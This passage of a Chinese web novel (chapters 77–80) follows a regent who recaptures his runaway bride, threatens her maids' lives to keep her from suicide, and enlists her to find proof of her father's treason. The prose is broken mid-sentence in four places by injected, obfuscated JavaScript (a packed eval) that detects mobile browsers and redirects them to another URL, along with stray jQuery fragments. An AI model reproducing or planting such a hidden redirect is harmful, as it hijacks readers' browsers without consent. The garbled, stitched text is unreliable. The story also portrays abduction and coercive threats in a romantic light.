“下山的时候一定小心，不要受伤，离开这里之后想办法往玄武国的方向去。”此刻情况可谓十万火急，三州堇璱的声音却依然轻柔：“去玄武国，我脱险之后立马就会去找你。” 沐毓露再次点了点头，她踮起脚尖攥住他的袖摆，“你一定要来找我，我会一直等你。” 说完她转过身钻入山道旁的隐秘小道，一刻不停地朝山下奔去。 在她走上那条岔道的同时，车轮声重新响起，沿着盘旋的山路继续往上，而身后的那些追兵也如三州堇璱所预料的那样，紧跟在马车之后往山顶奔去。 脚下的小径早已被荒草和藤蔓覆盖，辨不出形状，尖利的荆棘划破了嫁衣下摆，有时还会勾住裙角，她必须非常小心，否则一不留神就会被那些荆棘刺伤。 但饶是如此，她裸露的手腕和脚踝还是被划出道道细小的血痕，传来一阵火辣辣的疼。 林间的光线逐渐变得黯淡，暮色如同无声的潮水从四面八方弥漫上来，她不知道自己走了多久，也不知道山上的情形到底如何，她只是模糊地辨认着脚下的方向，拼命地向山下奔逃。 走出去，只要走出这座山就好了。 只要离开这里就能摆脱那些追兵，心云和默合应该还没有走远，她往玄武国的方向去说不定能碰上她们。 还有三州堇璱，他说了一旦脱险就立马会来找她，她相信他不会食言。 她的脚如同灌了铅一般沉重，眼前也阵阵发黑，景物在昏暗中扭曲晃动，只有在脑海中反反复复地回想着这些念头，她才有足够的力量支撑着自己继续走下去。 好几次她脚下一软，膝盖重重地磕在冰冷的碎石上，尖锐的疼痛短暂地刺穿麻木，给她带来一丝清醒，可是随即她又被更深的疲惫淹没。 她实在是太累了。 但现在还不能停。 咬紧了牙关继续往山下走，终于在最后一丝力气耗尽前，她来到了山脚。 踉跄着扑倒在一棵粗壮的古树旁，额头重重地抵在粗糙的树皮上，冰凉的触感让她混乱的思绪有了一瞬的清明。 汗水早已浸透了里衣，黏腻冰冷地贴在皮肤上，被山风一吹，激得她打了一个冷颤。 她大口地喘息着，抬起头朝前方望去。 终于下山了吗？ 视线艰难地抬起，越过虬结的树根和丛生的灌木，前方不再是密不透风的林木，隐约透出一点更开阔的天光。 希望就在眼前。 然而下一秒，她劫后余生的笑容就凝固在了脸上。 前方更大的一棵古木背后，缓缓行出一道人影，他似乎已经在这里等了很久，高大挺拔的身形在暮色下平添了几分寂寥。 是穆衾寒。 他就站在那里看着她，看着她被荆棘勾划得破烂的嫁衣，看着她沾满了枯叶和泥土的发髻，看着她苍白如纸的脸颊，还有因极度恐惧和脱力而控制不住剧烈颤抖的身体。 他的目光平静得可怕，似乎是在无言地告诉她，一切都在他的掌控之中，她做的所有努力都是无谓的挣扎，无论如何她都逃不出去。 时间仿佛在这一刻冻结。 沐毓露呆呆地站在原地，最后一丝力气终于被彻底抽空，此刻连支撑身体站立的意志都消失了。 双腿一软，她再也支撑不住，身体不受控制地向后倾倒。 下一秒穆衾寒的手臂稳稳地揽住了她下坠的腰肢，另一只手则穿过她的膝弯，将她横抱而起。 他的声音在头顶响起：“早就告诉过你，我了解三州堇璱，我知道他会做什么。” 说完这句话他垂首望她，嘴角带着一抹意味不明的笑：“现在的我也比从前更了解你。” 他抱着她转身离开，向早已等候在官道旁的车架走去。 守在山脚的侍卫无声地让开道路，车帘被近侍恭敬地掀开，穆衾寒动作轻柔，怜惜地将她放进了马车中，然后俯身坐了进来，将她的脑袋轻轻搁在自己的膝上，让她更舒服地躺在车厢里的软垫上。 宽阔的车厢内铺着柔软的锦垫，中间的几案上甚至还熏了一炉安神香。 他的确是早就猜到了他们的动向，才会将准备做得如此充足。 沐毓露蜷缩着，麻木地任他摆弄着自己。 “回府。”他简短地命令道。 车轮的滚动声在官道上响起，传入车厢里面，一声一声敲打在沐毓露的心上。 穆衾寒的声音再次在她头顶响起，他的语气称得上平静温和，仿佛方才的一切都没有发生过：“怎么把自己搞成这个样子？” 他修长的手指在她耳畔划过，替她捡去发间的枯叶，“回去之后好好洗个澡，再换一身干净的衣裳。” 他轻声地问她饿不饿，那语气寻常得好像两人已经做了多年的夫妻一样：“我已吩咐了府里，让他们提前准备好吃食，等下回去你可以先吃饭再洗澡。” 沐毓露没有回应他，他就这样自顾自地说着，替她安排好回去之后要用的一切。 她的眼泪突然就流了下来。 这样关心的话语，这样体贴的照顾，不就是前世的她拼了命也想得到的么？ 可是不论是从父母身上，还是从穆衾寒那里，前世的她连他们一个疼惜的眼神也没有得到过。 更重要的是她突然意识到，前世的她遭受了那样多的恶意，如今唯一一个心疼她的，只有今生的她自己。 穆衾寒细心地为她拭去眼泪，“哭什么？” 这一次沐毓露终于回应了他，她疲惫地伏在他的膝头，喃喃地说了一句：“我再也不会在明知你们不爱我的情况下保持任何的期待了。” 紧接着便是长久的沉默。 穆衾寒就这样注视着她，仿佛是要将她如此脆弱的一面永远烙印在脑海里。 过了许久，他再一次将手温存地抚上她的脸颊，“有时候我真的不知道，我到底应该怎样爱你了。” 他俯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16644323|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身贴上她的脸颊，将她牢牢地拥进怀里，然后轻轻地呵了一口气：“随便你怎么说吧，反正你哪里也去不了，你只能待在我的身边。” 沐毓露的眼泪流得更汹涌了。 如果说方才流泪是因为委屈，那么现在实打实是因为恐惧。 他对她说着温存的情话，而在她听来这却是世界上最恐怖的鬼故事。 直到马车行至王府跟前，缓缓停下之后，她汹涌的眼泪才逐渐止住。 穆衾寒走下马车，探身将她抱出车厢，在众多侍卫仆从们的注视下抱着她向府里走去。 沐毓露将头无力地靠在他的胸膛，突然问道：“三州堇璱呢？” 穆衾寒的脚步微微顿了一顿，然后他勾唇冷笑，抱着她继续朝里走，“他被侍卫们射杀下了悬崖，尸骨无存。” 怀里的人很明显颤抖了一下，紧接着她再次抑制不住地哭了起来，泪水很快就打湿了他的衣襟。 他突然感到一阵烦躁，分明一切都在他的掌控之中，可是此刻她滚烫的眼泪却莫名让她心头火起。 一脚踹开正院的门，他抱着她走进卧室，然后松手将她扔到了床上。 沐毓露下意识想要躲到床角去，却被他一把握住了脚踝。 紧接着他顺势欺身而上，将她压在了自己身下。 她脸上惊恐的表情被他尽数收入眼中，这让他觉得眼前的她像是一只受惊的小兔，又像是一朵被雨水摧残的花，那样的柔弱可欺，却又带着一丝倔强。 心中的愤怒转为了怜惜，他俯身吻上了她的唇。 这一个吻没有深入，只是蜻蜓点水般在她的唇上掠过，然后辗转到了她的额头，又轻轻地落在了她的脸上。 冰冷的唇吻上她滚烫的泪水，两个人都在这瞬间微微一颤，她伸手想要推开他，然而双手抵在他的胸膛上，怎么也使不出力气。 他对她的反抗视若无睹，反而似乎因此更加兴奋，他变本加厉地攫取着她的柔软，动作却又保持着克制，始终没有更进一步。 他只是一遍又一遍地吻去她脸上的泪。 终于，她实在是疲倦得很了，连哭的力气都没有了，无力地瘫软在床上，侧过头闭上了眼睛。 穆衾寒在这时直起身来，沙哑着声音问她：“不哭了？” 她听见了他的问话，但一点也不想理他，只是偏着脑袋闭着眼睛，连看都不想看他一眼。 穆衾寒倒也不恼，他再次俯下身，将冰凉的唇贴在她的耳畔：“你是我的人。” “知道这是什么意思吗？” “这句话的意思是，你的性命，你的一切，包括你的眼泪，都只能是我的。” 灼热的气息在她耳畔拂过，带着一种令人毛骨悚然的温柔威胁：“听话，不许再为不相干的人流泪了。” 说完他欲起身离开，却被她一把攥住了衣襟，她的声音也带了些沙哑：“我的命从来只在我自己手上。” 穆衾寒轻轻地笑了一声，突然问起一个无关的问题：“你那两个与你情同姐妹的贴身丫鬟呢？为何没同你一起来到王府？” 78. 第78章 沐毓露微微一颤。 她听得出他话语中的威胁之意。 “你怎么就是不明白？你的一切都在我的掌控之中。”他的眼中带着笑意，只是那笑意不达眼底，“我知道你在乎什么，知道什么是你的软肋。” “将所有的积蓄都给了那两个丫头，还她们身契，放她们自由。”穆衾寒将她的发梢缠绕在他指间，轻轻把玩着，“你对她们真的很好，想必也希望她们能平安健康地度过余生吧？” 最后他将话挑明：“你若是敢自戕，我立马让她们去地下陪你。” 沐毓露不说话了。 她真的是一句话都不想再同他多说。 穆衾寒深深地望了她一眼，将她这个反应理解为顺从，然后满意地起身离开了房间，紧接着侍女们低垂着眉眼鱼贯而入，替沐毓露更衣洗漱。 沐浴完毕，换了一身衣裳，马上又有府里的医者前来为她上药，将所有的伤口都处理完毕后，已经到了深夜。 沐毓露驱散了所有的下人，送来的膳食也一口都没有动，直接躺倒在了床上。 她早就疲惫到了极点，此刻可以好好休息了，却又怎么都睡不着。 三州堇璱的身影不断地在她的脑海当中浮现，她一会儿想起前世他提剑将她从一群山匪手中救下的情形，一会儿又想起今生初见时他独立于高楼月下的模样，最后脑海中的画面停在了他送她回沐府那晚，她突然伸手摘下他的面具，而他别扭地将脸微微侧到一边的瞬间。 那一刻她心中生出的第一个想法就是他简直太美了，这样美好的一个人，像是在温室里养大的一朵花儿。 可他偏偏不是。 他在七岁那年就进入三州阁，在此之前过着在市井中流浪的颠沛生活，在此之后他成为了所谓天下第一的高手，过的却又是每天刀尖舔血的日子。 她的心脏一阵一阵地抽搐着疼。 她抬手抚上心口，努力安慰自己，以前那么多的危险他都挺过来了，这一次他一定也能化险为夷。 他承诺过要来找她的。 她不相信他就这样死了。 时间一点一滴地过去，她就这样睁眼到了天明。 次日一早，侍女们前来为她梳妆，见到桌上的饭菜一点都没有动，也没人多说什么，只是很快地将这些菜都撤了下去，然后换上了一桌新的饭菜，还恭恭敬敬地将碗端到了沐毓露的面前。 看着她们熟练却不带丝毫感情的动作，一个个机械得仿佛提线木偶，沐毓露气笑了。 她也不说话，只是抬手将端到面前的碗轻轻一推，那些侍女立马就明白了她的意思。 她们倒也没有多做纠缠，默不作声地又将碗放了回去。 沐毓露梳妆完毕后哪里也不去，就在窗前静静地坐着，一动不动地坐到了正午时分。 中午那些侍女再次鱼贯地进入正院，手脚麻利地将早已凉透的饭菜收下去，然后又将新的饭菜端了上来。 做完这一切之后她们再次垂着头无声地退了下去，就好像从来没有来过一样。 要不是桌上的饭菜还冒着热气，沐毓露真的要以为方才那些人都是她产生的幻觉。 这就是王府里的规矩么？ 她突然想到，王府的规矩尚且如此，宫里的规矩只会更甚，怪不得穆衾寒疯癫成那个样子，要是她从小生活在这样的环境里，她八成也得疯。 她就这样继续一动不动地坐在窗前，控制不住地胡思乱想着。 她的思绪不能停下来，脑海里必须不断地思索些什么，否则她就会想起三州堇璱，想起他最后望向自己的表情。 她不能回想那个表情，否则她真的会疯。 转眼间黄昏已至，消失了一天的穆衾寒再次出现在了正院。 他身后跟着一大群人，其中两人手里拎着食盒，一进屋就开始忙着布菜。 穆衾寒走到她身旁停下，顺着她的目光望向窗外开得繁盛的花儿，开口第一句话竟是用很家常的语气向她解释：“今日朝中有要事，我在宫里待了一天，没能抽出时间好好陪你。” 他抬手抚上她的肩膀，然后轻轻一握，“听说你今天一天都没有吃饭？” 沐毓露始终背对着他，没有回头，也不肯说话，保持着方才的姿势沉默地坐着。 穆衾寒也不生气，只是自顾自地道：“没关系，想必是府里的厨子不合你的胃口，我回来时特意将杨大厨从天下第一楼请来，让他专门给你做了几道菜，你来看看有没有胃口？” 听到杨大厨三个字，她终于有了动作，转过头望了一眼桌上的菜，确实都是杨大厨的招牌菜。 沐毓露将目光移到穆衾寒的身上，毫不客气地与他对视。 他分明知道她吃不下饭的原因是什么，却还要将杨大厨从天下第一楼带到王府来。 这是什么意思？ 拿杨大厨威胁她么？ 穆衾寒读懂了沐毓露目光里的质问，也就知道她明白了自己的意思，于是颇为欣慰地抬手抚了抚她的脸庞，“你一向都很聪明，那就不要再让我多说什么了，来吃饭吧。” 沐毓露愤然站起身来，狠狠地剜了穆衾寒一眼，脚步虚浮地朝饭桌走去。 一旁侍候她吃饭的侍女连忙帮她将椅子拉开，待她坐下之后又恭谨地将筷子递给她。 穆衾寒恍若无事地在她对面坐下，轻声细语地道：“你饿了两天没有吃饭，我让人熬了一些粥，你少喝一点，先暖暖胃。” 他的话音还没落地，一旁的侍女就连忙动手给沐毓露盛粥。 穆衾寒继续说道：“这两日的厨子伺候得不够尽心，没能做一些让你有胃口的菜，我已经命人把他们拖下去各打五十大板了。” 他这话说得轻描淡写，好像只是在很随意地说一些家常话，却是在谈笑间就决定了旁人的生死。 各打五十大板，人不死也得残。 沐毓露没有想到她只是不吃饭而已，居然就这样连累了几条人命。 她还没有开口说什么，她旁边的侍女却是微微一颤，不小心将手里的粥碗摔到了地上。 那粥洒在地上还冒着滚烫的热气，也不知道她失手摔了碗是因为粥太烫了，还是被穆衾寒那番话给吓到了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648467|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>此刻她瑟瑟发抖地跪在地上，额头紧贴着地面，连紧闭的双眼都在止不住地颤抖。 穆衾寒没有说话，只是蹙了蹙眉，立马就有人上前，架起那侍女就要将她拖下去。 “等一等！”沐毓露在此时开口说话了。 她望一眼穆衾寒，又望一眼尽管已经吓得浑身颤抖却还是紧闭着双唇不敢发出一点声音的侍女，思索了一下，组织着语言道：“我身边没有贴身侍女，做什么事都不方便，这丫头生得漂亮，王爷把她赏给我吧。” 穆衾寒饶有兴味地注视着她：“这丫头做事笨手笨脚，要不我给你挑几个老成的丫鬟来做贴身侍婢？” 沐毓露摇头拒绝：“我只要生得好看的，这丫头漂亮，我就要她。” 她这番说辞颇有点无理取闹的意思，但偏偏穆衾寒很是受用，他眼中带着笑意，盯着她看了好一会儿，然后冲着那侍女的方向微微扬了扬下巴。 那些架着她的人瞬间松开了手。 穆衾寒转头望向她，目光恢复了平日里的阴沉，没有半分方才的笑意，“今后就由你来伺候王妃，你叫什么名字？” 那侍女再一次将头重重地磕到地上，“回王爷的话，奴婢名叫檀香。” 说完她侧过身子，又冲着沐毓露磕了一个响头，“奴婢多谢王妃赏识，今后一定尽心伺候王妃，绝不会再犯今日这样的错误。” 穆衾寒嗯了一声：“你倒还算乖觉。” 沐毓露的反应却与他截然不同，她望着檀香磕破的额头，微微蹙了蹙眉，“行了，你先下去吧，处理一下伤口。” 檀香连忙退了出去。 沐毓露重新坐回了桌前，迎着穆衾寒的目光望回去，“我没胃口吃饭，不是因为这些饭菜不好。” 穆衾寒点了点头，“看来你总算愿意同我好好说话了？” 沐毓露沉默了一下，继续道：“你让我回那座山一趟，我要亲自去看一看。” 她原以为穆衾寒会拒绝，至少不会那么快就答应她，却没想到他只是微微挑了挑眉，立马就答应了下来。 注视着沐毓露错愕的表情，他的心情似乎颇为愉悦，甚至亲自为她夹菜，“现在可以吃饭了吗？” 沐毓露提完要求之后就不再说话了，埋下头开始吃饭。 这一顿饭她吃了很多，一方面是因为穆衾寒答应了她的要求，她可以亲自去寻三州堇璱，另一方面是因为杨大厨的手艺确实很好，这些菜都实在太好吃了。 果然人活着就是为了这一口饭。 吃饱喝足之后，她连带着看穆衾寒都顺眼了一点，同他说话时态度也稍微客气了些。 她已经想好了，按照上一世的时间线，过不了多久穆衾寒就该毒发了，再过一段时间柳闻霜就会上门为他医治，两人就此定情，穆衾寒非她不娶。 到那时她这个王妃的身份就很尴尬，总不能让她做正妃让柳闻霜做妾吧？ 当然了，若是穆衾寒到时候想将柳闻霜扶为正妃，让她做妾，那她也是断断不肯的。 他若是想娶光明正大迎娶柳闻霜，唯一的办法就只有先休了她。 79. 第79章 很快她就想通了，天无绝人之路，只要活着就有希望，如今的穆衾寒对她算得上是有求必应，她没有必要在这个时候激怒他。 接下来几日他们相处得还算和平。 穆衾寒不知被什么事务给缠住了，每天都要进宫一趟，不过不管进宫的时间有多早，他每日回府的时间都是固定的。 他要回来陪沐毓露用晚膳。 沐毓露倒也不再闹绝食，一日三餐一顿不落地吃，每顿饭都进得很香，有时候甚至比穆衾寒吃得还要多，这个时候穆衾寒就会笑意吟吟地注视着她，不停地给她夹菜。 他似乎很喜欢看她吃饭的样子，每次见到她吃得这么香他都会心情大好。 如此过了几日，朝中的那件要事看样子终于是忙完了，穆衾寒终于有了空闲的时间，可以兑现诺言，带沐毓露去京城外她和三州堇璱逃亡的那座山。 这日他换下了平时的玄色常服，穿着一身便于骑射的深青色劲装，还提前嘱咐檀香给沐毓露也换上一身轻便的衣裳，一大早便带着她出了门。 王府外早已备好了一匹通体乌黑、四蹄踏雪的高头大马，马背上的鞍鞯十分华丽，一看便知道这是穆衾寒的坐骑。 沐毓露在门口站定，目光扫过那匹马，然后四处张望了一下，发现周围既没有马车，也没有别的马匹，她皱了皱眉头望向穆衾寒。 穆衾寒利落地翻身上了黑马，随即微微侧身，朝她伸出了一只手。 沐毓露仰头看着他高踞马上的身影，迟疑了一瞬，最终还是将手搭在了他的手上。 他的手猛然收紧，将她一把拽了过去，另一只手则环住了她的腰肢，将她固定在了他的身前。 沐毓露只觉得身体一轻一沉，还没有反应过来发生了什么，便被他拽到了马背上。 他稳稳地坐在她的身后，一手执缰，另一只手仍然环在她的腰间，就这样带着她骑马冲了出去。 马儿跑得很快，剧烈的颠簸瞬间袭来，让她被迫紧贴着他起伏的胸膛，她一时间有些分辨不清穆衾寒到底是有意还是无意的。 官道在视野中飞速后退，田野在晨光中逐渐铺展，他们离京城越来越远，离那座山峦越来越近。 沐毓露的心脏擂鼓般跳了起来。 穆衾寒似乎注意到了她的反应，垂首望了她一眼，然后猛夹马腹，让身下的马更加快速地飞驰了起来。 山脚下被那些追兵们的马匹践踏的痕迹犹在，但沐毓露还来不及细看，黑马便冲上了那熟悉而陡峭的山路。 山路崎岖，马背上比方才更加颠簸，但穆衾寒的手臂很有力量，始终将她牢牢地固定在马鞍和他的胸膛之间。 终于，他们再次抵达了半山腰那个较为平坦的拐弯处，沐毓露回首深深地望了一眼她和三州堇璱分别的地方，穆衾寒却未做停留，带着她继续往山顶而去。 刚到山顶她便看见了那一辆华丽车驾的残骸，它歪斜在悬崖边上，车篷撕裂翻卷，骨架扭曲变形，车身上布满了蜂窝般的箭孔，除此之外还有无数折断的箭矢，密密麻麻地插在周围的地面上。 崖边巨石上残留着清晰的车轮碾压过的痕迹，还有一大片已经凝结的模糊的血迹，而崖壁之下就是深不见底的幽暗山谷。 这一幕再明显不过，三州堇璱定是经历了一场恶战，单看此处一地的狼藉，即便穆衾寒不开口，沐毓露自己也清楚，三州堇璱怎么可能从这样一场恶战中生还。 穆衾寒勒住了缰绳，黑马喷着响鼻，停留在了那辆马车的数丈之外。 穆衾寒在此时开口：“我给他们下的命令是生擒你，三州堇璱格杀勿论。” 沐毓露本就因眼前触目惊心的景象而全身发麻，听见穆衾寒这样说，她瞬间觉得血液冲上了头顶，又在下一秒冻结成冰。 巨大的眩晕感袭来，她甚至觉得胃里也在翻江倒海，过了许久，她压制住身体里因为情绪过于激动而产生的不适感，咬着牙对穆衾寒道：“我要到山脚去看一看。” 穆衾寒垂眸，目光落到她苍白的脸上。 山风卷起几片残破的白色山桃花瓣，打着旋儿落在马车残骸旁那暗红的血迹上。 时间仿佛凝固。 终于，穆衾寒的唇角极其轻微地向上扯动了一下，勾起一个毫无温度的弧度，他在这时对沐毓露提出条件：“我可以带你下去，但你要答应我一个条件。” 沐毓露没有片刻的思索，立马木然地回了一个“好”字。 穆衾寒唇角的笑意变得更加冰冷：“不问问我想提什么条件？” 沐毓露摇了摇头，她只是盯着车辕旁的血迹重复了一遍：“你带我下去看看。” 穆衾寒不说话了，他猛地一扯缰绳，黑马灵巧地调转了方向，沿着一条更为陡峭的羊肠小道向山下探去。 这条小径罕有人迹，异常难行，黑马纵然神骏，在湿滑的碎石间行进也显得十分吃力。 沐毓露被穆衾寒紧紧地禁锢在怀中，每一次剧烈的颠簸都给她带来一阵眩晕，视线随着马身的起伏而剧烈晃动，两侧是不断倒退的枯枝和怪石，山谷深处混合着腐烂植物和泥土腥气的阴冷气息越来越浓，丝丝缕缕钻入肺腑。 不知颠簸了多久，眼前豁然开朗，但光线却更加黯淡。他们终于抵达了山脚，那片被巨大山体阴影笼罩的谷地。 这里仿佛是被阳光遗弃的角落。 参天的古木遮天蔽日，虬结的树根盘踞在潮湿松软的泥土里，厚厚的落叶堆积，踩上去发出令人不安的“沙沙”声。 穆衾寒勒住缰绳，让马停在一片相对开阔的洼地边缘。 他率先翻身下马，然后伸出双臂，将沐毓露抱了下来。 下马之后她踉跄了一下，被穆衾寒轻轻地往上一提才勉强站稳。 他松开了手，站在原地负手而立，目光扫过这片阴森晦暗的谷地：“找吧，若有残骸，便在此处。” 沐毓露没有看他，在厚厚的落叶层上深一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16653566|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚浅一脚地跑着，扑向每一处看起来像是有坠落痕迹的地方，一言不发地翻找了起来。 时间在无声的搜寻中流逝，斑驳的光影在密林中缓缓移动拉长，最终变得模糊不清。 她没能找到三州堇璱，甚至连一角染了血的白衣碎片，或是他惯用的长剑残骸都没有看到。 最后她终于停下了手上的动作，木然地跪在了原地，不知道在想些什么。 穆衾寒走上前来，缓缓地靠近她，见她依然没有什么反应，他俯身将她打横抱起，然后带着她离开了这里。 回到王府之后她便生了一场大病。 这一次生病她倒没有像从前那样，总是不由自主地想起前世的事情。 在昏昏沉沉的梦境里，反反复复出现的始终只有三州堇璱的身影。 连她自己也没有想到，她会因为他的离去而如此伤心。 但她依然不相信他真的坠崖而亡了，没有找到尸体便是最好的证明。 没有尸体，那便意味着他可能想办法逃出生天了，或是被人救走了。 从昏睡中醒来之后，她开始善待自己，好好养病，并且每天都在心里劝慰自己，不要着急，她现在能做的只有耐心等待。 等待三州堇璱突然出现的那一天，等待穆衾寒如前世那般毒发的那一日。 而她必须在那一天来临之前养好身体，因为按照前世的时间线，穆衾寒毒发之后没过多久，柳闻霜就该登场了。 前世的她光是听到柳闻霜的名字便如临大敌，今生的她却将柳闻霜视作救命稻草。 只希望穆衾寒到时候还能够有那么一点良心，在将柳闻霜扶正之后放她离开，给她一条生路。 于是这几日除了静候穆衾寒毒发之外，她又开始迫切地等待着柳闻霜出现的那一日。 但是在那一日来临之前，发生了一件前世未曾有过的插曲。 待沐毓露病好之后，穆衾寒便道出了此前在山上曾对她提出的条件。 她委实没有想到，穆衾寒提出的条件居然是让她随他一起回沐府，帮他搜寻她爹沐玉罡通敌叛国的证据。 沐毓露听得呆住了：“你说谁通敌叛国？” 她那个大腹便便在外面受了窝囊气只知道回府冲妻女发火的易燃易爆炸的爹？ 不是她想包庇他，实在是怎么看他都跟通敌叛国四个字扯不上关系吧。 “准确来说，是他与三皇子一同筹谋，贿赂官员、结党营私、通敌叛国。”穆衾寒每一句话都包含着极大的信息量：“当然了，他所犯的罪行远不止于此，这些不过是十之一二而已。” 看到穆衾寒递过来一份文书，上面清晰地写着“沐玉罡私通南戎密函誊录”时，沐毓露觉得自己眼前一黑。 她终于知道上辈子沐府为什么会被满门抄斩了。 原来真不是她连累了他们，反而是她爹连累了她。上辈子穆衾寒从一开始就如此地厌恶她，焉知没有沐玉罡的原因。 80. 第80章 缓了一会儿之后她问：“贿赂官员和结党营私我都能理解，通敌叛国是为了什么？” 三皇子怎么说也是朱雀皇室的人，他就算与穆衾寒在朝廷上斗法，面对外敌时也该同仇敌忾才是。 穆衾寒难得耐心地同她解释：“我的暗卫曾截下过他与南戎来往的信件，他同意将南方边境十一座城池割让给他们，前提是他们派出兵马助他登基。” 他摩挲着手中的那道密函，“同他互通有无的部族不止南戎一个，之前来参加他生辰宴的百族，其中恐怕有半数都收到过他的好处，或者是得到过他的承诺。” 这个原因听起来既荒诞又合理，沐毓露恍然大悟地点了点头，“你既已掌握了一部分证据，想必早就已经猜到了他的计划？” 穆衾寒微微挑了挑眉，“这是自然，若是连他的这一点把戏都看不透，我也不用做这个摄政王了。” 他对沐毓露道：“我知道他想做什么，但是我手上的证据还不够。这些年来通过对他身边心腹的排查，我可以确定大部分证据都藏在沐府。” 沐毓露又点了点头：“所以你屡次夜探沐府就是来找证据的？” 穆衾寒注视着她，然后笑了笑，这一回他眼中的笑意倒很真切，“从前夜探沐府是为了寻找证据，遇见你之后便不全是因为这个了。” 沐毓露避开他的目光，不想与他谈论这个话题：“那你是如何确定证据藏在沐府的？三皇子有那么多的心腹，为什么会选择将这么重要的东西交给我爹？” “你爹只是个商人，且并非京城本地人，只是前些年做生意来到了此地。”穆衾寒将那封密函收回袖子里，“若非三州阁的人查到了他与三皇子互通有无的铁证，我还怀疑不到他头上。” 他的语气阴沉：“正因为我们轻易不会查到你爹的头上，所以三皇子才会选择将重要的密函都藏在沐府。” 沐毓露蹙了蹙眉，她捕捉到了另外一个重点：“三州阁？” 穆衾寒知道她又想起了谁，他毫不避讳地道：“三州阁是全天下最顶级的刺客情报组织，只要给钱他们就会为你办事。” “此前三州堇璱接了我探查沐玉罡和三皇子动向的任务，同时又接取了生辰宴上刺杀三皇子的任务。他的确帮我探查清楚了沐玉罡的动静，却在刺杀三皇子那晚毒发失手，没能完成任务。” 穆衾寒的语气轻描淡写，却是将沐毓露又拉回了那个惊心动魄的夜晚。 原来如此。 原来这才是穆衾寒那么了解三州堇璱的原因，也是她与三州堇璱初见那晚他之所以会出现在沐府的书阁楼顶的原因。 穆衾寒饶有兴味地观察着她的表情，然后继续道：“这便觉得震惊了？” 他接下来说的话的确让她更为震惊：“只要是银子，三州阁来者不拒，其实你们沐府也潜伏着三州阁的顶级杀手，他一直在为三皇子做事，只不过你爹并不知情而已。” 几乎是在一瞬间，沐毓露就猜出了那人的身份：“你说的是风问棠吗？” 穆衾寒微微颔首：“准确来说，你应该叫他三州问棠。” 好好好。 沐毓露点了点头，略微思索了一下，她又继续了然地点头。 如此一来便什么都说得通了。 “三日后我将再次夜探沐府，到时候你同我一起，这次由你来寻找证据。”穆衾寒将接下来的计划告诉她：“此前不能在沐府久留，最主要的原因是三州问棠太过敏锐。” “这一次我会提前放出消息，告诉全京城的人，你在成婚那日同刺客一起坠下了悬崖。” 穆衾寒似笑非笑地道：“想必三州问棠的心思跟你是一样的，活要见人死要见尸，他一定会冒着风险去找你，他离府的时候就是我们潜入沐府的最佳时机。” 沐毓露装作没有听出来他言语间的阴阳怪气：“你怎么知道他一定会去？万一他不上当呢？” “成婚那日三州堇璱孤身一人杀进王府劫走了王妃，这件事情在京城闹得沸沸扬扬。”穆衾寒道：“但他们不知道我已经将你接回王府，三州问棠前两日还在悄悄打听你的情况。” 他眯了眯眼：“他对你倒也关心得很。” 沐毓露在心里长长地叹了口气，跟这人说话真累，一句话拐八百个弯儿，不是阴阳怪气就是迂回试探。 她又转移了话题：“你让我帮你找证据，但我对这些事情一无所知，我不知道自己可以做些什么。” 穆衾寒直视着她的眼睛：“我调查过沐府上下所有人，也包括你。” “我知道你一直都同自己的父亲不和，但也正因如此你一直在挑衅他，也一直在尝试了解他，其实你才是整个沐府最熟悉他的人。我需要你凭借对他的熟悉，帮我找到他藏匿证据的地方。” 沐毓露点了点头，又摇了摇头。 前半截话她认可，她的确比沐玉罡想象中更了解他，可是后半句话她表示存疑。 她爹虽然粗俗市侩，但也称得上是老奸巨猾，穆衾寒和三州堇璱多次探访沐府都无功而返，她又怎么能轻易找到沐玉罡藏匿证据的地方。 穆衾寒猜到了她在想什么，一句话就打消了她的顾虑：“你不用太有压力，就当是在搜寻宝藏，大可以放松地猜测一下，他若是得了一大笔钱财，最有可能把它们藏在哪里？” 沐毓露在脑海里搜寻了一下，然后有些怔然地道：“我还真想到了一个地方。” 三日后，穆衾寒再次着一身夜行衣，带着沐毓露回到了沐府。 刚一翻进后院，沐毓露就直接带着穆衾寒往她小时候钻过的狗洞赶去。 今晚天气不佳，夜浓得化不开，像泼翻的墨沉沉地压着这座深宅大院，只偶尔有几缕稀薄的月光透过厚重的云层，轻轻洒向人间，在沐府后院映出些游移的微光，却又在转瞬间被更深的黑暗所淹没。 这样的天气对于沐毓露他们来说却是绝佳的机会，两人在夜色中隐蔽了身形，顺利地找到了藏在后院墙角根，被藤蔓覆盖住的一个狗洞。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 